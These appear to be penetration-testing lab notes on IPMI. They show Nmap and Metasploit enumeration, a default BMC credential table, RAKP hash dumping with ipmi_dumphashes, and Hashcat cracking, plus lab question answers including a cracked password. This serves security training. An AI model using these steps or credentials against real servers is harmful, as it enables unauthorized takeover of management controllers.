# IPMI \[623]
Basics [Intelligent Platform Management Interface](https://www.thomas-krenn.com/en/wiki/IPMI_Basics) (`IPMI`) is a set of standardized specifications for hardware-based host management systems used for system management and monitoring. It acts as an autonomous subsystem and works independently of the host's BIOS, CPU, firmware, and underlying operating system. IPMI provides sysadmins with the ability to manage and monitor systems even if they are powered off or in an unresponsive state. It operates using a direct network connection to the system's hardware and does not require access to the operating system via a login shell. IPMI can also be used for remote upgrades to systems without requiring physical access to the target host. IPMI is typically used in three ways: * Before the OS has booted to modify BIOS settings * When the host is fully powered down * Access to a host after a system failure When not being used for these tasks, IPMI can monitor a range of different things such as system temperature, voltage, fan status, and power supplies. It can also be used for querying inventory information, reviewing hardware logs, and alerting using SNMP. The host system can be powered off, but the IPMI module requires a power source and a LAN connection to work correctly. The IPMI protocol was first published by Intel in 1998 and is now supported by over 200 system vendors, including Cisco, Dell, HP, Supermicro, Intel, and more. Systems using IPMI version 2.0 can be administered via serial over LAN, giving sysadmins the ability to view serial console output in band. To function, IPMI requires the following components: * Baseboard Management Controller (BMC) - A micro-controller and essential component of an IPMI * Intelligent Chassis Management Bus (ICMB) - An interface that permits communication from one chassis to another * Intelligent Platform Management Bus (IPMB) - extends the BMC * IPMI Memory - stores things such as the system event log, repository store data, and more * Communications Interfaces - local system interfaces, serial and LAN interfaces, ICMB and PCI Management Bus
## Footprinting the Service
Nmap {% code overflow="wrap" %} ```bash z3tssu@htb[/htb]$ sudo nmap -sU --script ipmi-version -p 623 ilo.inlanfreight.local Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-04 21:48 GMT Nmap scan report for ilo.inlanfreight.local (172.16.2.2) Host is up (0.00064s latency). PORT STATE SERVICE 623/udp open asf-rmcp | ipmi-version: | Version: | IPMI-2.0 | UserAuth: | PassAuth: auth_user, non_null_user |_ Level: 2.0 MAC Address: 14:03:DC:674:18:6A (Hewlett Packard Enterprise) Nmap done: 1 IP address (1 host up) scanned in 0.46 seconds ``` {% endcode %}
Metasploit ```bash msf6 > use auxiliary/scanner/ipmi/ipmi_version msf6 auxiliary(scanner/ipmi/ipmi_version) > set rhosts 10.129.42.195 msf6 auxiliary(scanner/ipmi/ipmi_version) > show options Module options (auxiliary/scanner/ipmi/ipmi_version): Name Current Setting Required Description ---- --------------- -------- ----------- BATCHSIZE 256 yes The number of hosts to probe in each set RHOSTS 10.129.42.195 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' RPORT 623 yes The target port (UDP) THREADS 10 yes The number of concurrent threads msf6 auxiliary(scanner/ipmi/ipmi_version) > run [*] Sending IPMI requests to 10.129.42.195->10.129.42.195 (1 hosts) [+] 10.129.42.195:623 - IPMI - IPMI-2.0 UserAuth(auth_msg, auth_user, non_null_user) PassAuth(password, md5, md2, null) Level(1.5, 2.0) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ``` During internal penetration tests, we often find BMCs where the administrators have not changed the default password. Some unique default passwords to keep in our cheatsheets include: | Product | Username | Password | | --------------- | ------------- | ------------------------------------------------------------------------- | | Dell iDRAC | root | calvin | | HP iLO | Administrator | randomized 8-character string consisting of numbers and uppercase letters | | Supermicro IPMI | ADMIN | ADMIN | It is also essential to try out known default passwords for ANY services that we discover, as these are often left unchanged and can lead to quick wins. When dealing with BMCs, these default passwords may gain us access to the web console or even command line access via SSH or Telnet.
Hashcat If default credentials do not work to access a BMC, we can turn to a [flaw](http://fish2.com/ipmi/remote-pw-cracking.html) in the RAKP protocol in IPMI 2.0. During the authentication process, the server sends a salted SHA1 or MD5 hash of the user's password to the client before authentication takes place. This can be leveraged to obtain the password hash for ANY valid user account on the BMC. These password hashes can then be cracked offline using a dictionary attack using `Hashcat` mode `7300`. In the event of an HP iLO using a factory default password, we can use this Hashcat mask attack command `hashcat -m 7300 ipmi.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u` which tries all combinations of upper case letters and numbers for an eight-character password.
Metasploit - Dumping Password To retrieve IPMI hashes, we can use the Metasploit [IPMI 2.0 RAKP Remote SHA1 Password Hash Retrieval](https://www.rapid7.com/db/modules/auxiliary/scanner/ipmi/ipmi_dumphashes/) module. **Metasploit Dumping Hashes** IPMI ```shell-session msf6 > use auxiliary/scanner/ipmi/ipmi_dumphashes msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > set rhosts 10.129.42.195 msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > show options Module options (auxiliary/scanner/ipmi/ipmi_dumphashes): Name Current Setting Required Description ---- --------------- -------- ----------- CRACK_COMMON true yes Automatically crack common passwords as they are obtained OUTPUT_HASHCAT_FILE no Save captured password hashes in hashcat format OUTPUT_JOHN_FILE no Save captured password hashes in john the ripper format PASS_FILE /usr/share/metasploit-framework/data/wordlists/ipmi_passwords.txt yes File containing common passwords for offline cracking, one per line RHOSTS 10.129.42.195 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' RPORT 623 yes The target port THREADS 1 yes The number of concurrent threads (max one per host) USER_FILE /usr/share/metasploit-framework/data/wordlists/ipmi_users.txt yes File containing usernames, one per line msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > run [+] 10.129.42.195:623 - IPMI - Hash found: ADMIN:8e160d4802040000205ee9253b6b8dac3052c837e23faa631260719fce740d45c3139a7dd4317b9ea123456789abcdefa123456789abcdef140541444d494e:a3e82878a09daa8ae3e6c22f9080f8337fe0ed7e [+] 10.129.42.195:623 - IPMI - Hash for user 'ADMIN' matches password 'ADMIN' [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ```
HTB - Guide ## IPMI ### Question 1 #### "What username is configured for accessing the host via IPMI?" After spawning the target machine, students need to launch `msfconsole` and use the `ipmi_dumphashes` module under `auxiliary/scanner/ipmi/`, setting `RHOSTS` to `STMIP` and then running the exploit; students will find that the `admin` username is configured for accessing the host via IPMI: Code: shell ```shell msfconsole -q use auxiliary/scanner/ipmi/ipmi_dumphashes set RHOSTS STMIP run ``` IPMI ```shell-session ┌─[us-academy-1]─[10.10.14.69]─[htb-ac413848@pwnbox-base]─[~] └──╼ [★]$ msfconsole -q msf6 > use auxiliary/scanner/ipmi/ipmi_dumphashes msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > set RHOSTS 10.129.131.254 RHOSTS => 10.129.131.254 msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > run [+] 10.129.131.254:623 - IPMI - Hash found: admin:93c887ae8200000052f17511d0fd3b9a08350b045e118a2cd0c311777576080bc13a5581d522cdb5a123456789abcdefa123456789abcdef140561646d696e:3541221bac8d7e76f34e45697aed40edfbe87fd8 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ``` Answer: {hidden} ## IPMI ### Question 2 #### "What is the account's cleartext password?" Using the hash that was found from the `ipmi_dumphashes` module from `msfconsole` in the previous question, students need to crack it using `Hashcat`, specifying 7300 as the hashmode and `rockyou.txt` as the wordlist; students will find out that the plaintext password is `trinity`: Code: shell {% code overflow="wrap" %} ```shell hashcat -m 7300 -w 3 -O "93c887ae8200000052f17511d0fd3b9a08350b045e118a2cd0c311777576080bc13a5581d522cdb5a123456789abcdefa123456789abcdef140561646d696e:3541221bac8d7e76f34e45697aed40edfbe87fd8" /usr/share/wordlists/rockyou.txt ``` {% endcode %} IPMI ```shell-session ┌─[us-academy-1]─[10.10.14.69]─[htb-ac413848@pwnbox-base]─[~] └──╼ [★]$ hashcat -m 7300 -w 3 -O "93c887ae8200000052f17511d0fd3b9a08350b045e118a2cd0c311777576080bc13a5581d522cdb5a123456789abcdefa123456789abcdef140561646d696e:3541221bac8d7e76f34e45697aed40edfbe87fd8" /usr/share/wordlists/rockyou.txt hashcat (v6.1.1) starting... Host memory required for this attack: 65 MB Dictionary cache built: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344392 * Bytes.....: 139921507 * Keyspace..: 14344385 * Runtime...: 2 secs 93c887ae8200000052f17511d0fd3b9a08350b045e118a2cd0c311777576080bc13a5581d522cdb5a123456789abcdefa123456789abcdef140561646d696e:3541221bac8d7e76f34e45697aed40edfbe87fd8:trinity ``` Answer: {hidden}